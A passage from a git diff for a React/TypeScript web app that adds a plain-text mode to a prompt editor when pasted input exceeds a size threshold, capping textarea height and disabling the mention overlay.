terminalRef.current?.focus()} onContextMenu={openMenu} className={cn('absolute inset-0 pt-[7px] pr-2 pb-1 pl-1.5', !active && 'hidden')} diff --git a/apps/sim/app/workspace/[workspaceId]/home/components/user-input/components/prompt-editor/prompt-editor.tsx b/apps/sim/app/workspace/[workspaceId]/home/components/user-input/components/prompt-editor/prompt-editor.tsx index af7013cb84b..0fa2fcd325c 100644 --- a/apps/sim/app/workspace/[workspaceId]/home/components/user-input/components/prompt-editor/prompt-editor.tsx +++ b/apps/sim/app/workspace/[workspaceId]/home/components/user-input/components/prompt-editor/prompt-editor.tsx @@ -2,6 +2,7 @@ import { useCallback, useEffect, useLayoutEffect, useMemo, useRef, useState } from 'react' import { cn } from '@sim/emcn' +import { PASTE_LIMITS, PASTE_RENDER_THRESHOLDS } from '@sim/utils/paste' import { ContextMentionIcon } from '@/app/workspace/[workspaceId]/home/components/context-mention-icon' import { OVERLAY_CLASSES, @@ -78,6 +79,7 @@ export function PromptEditor({ * Un-warming on blur would just re-open the race on the next focus. */ const [hasFocused, setHasFocused] = useState(false) + const usePlainTextMode = value.length > PASTE_RENDER_THRESHOLDS.ENHANCED_TEXT_CHARACTERS /** * Autosize: grow the textarea to its full content height; the scroller caps @@ -94,9 +96,10 @@ export function PromptEditor({ const scroller = scrollerRef.current if (scroller) scroller.style.height = `${scroller.offsetHeight}px` textarea.style.height = 'auto' - textarea.style.height = `${textarea.scrollHeight}px` + textarea.style.height = `${usePlainTextMode ? Math.min(textarea.scrollHeight, 240) : textarea.scrollHeight}px` + textarea.style.overflowY = usePlainTextMode ? 'auto' : 'hidden' if (scroller) scroller.style.height = '' - }, [textareaRef]) + }, [textareaRef, usePlainTextMode]) useLayoutEffect(() => { autosize() @@ -151,6 +154,7 @@ export function PromptEditor({ ) const overlayContent = useMemo(() => { + if (usePlainTextMode) return null const contexts = editor.contexts if (!value) { @@ -216,7 +220,7 @@ export function PromptEditor({ } return elements.length > 0 ? elements : {'\u00A0'} - }, [value, editor.contexts]) + }, [value, editor.contexts, usePlainTextMode]) return (
- + {!usePlainTextMode && ( + + )}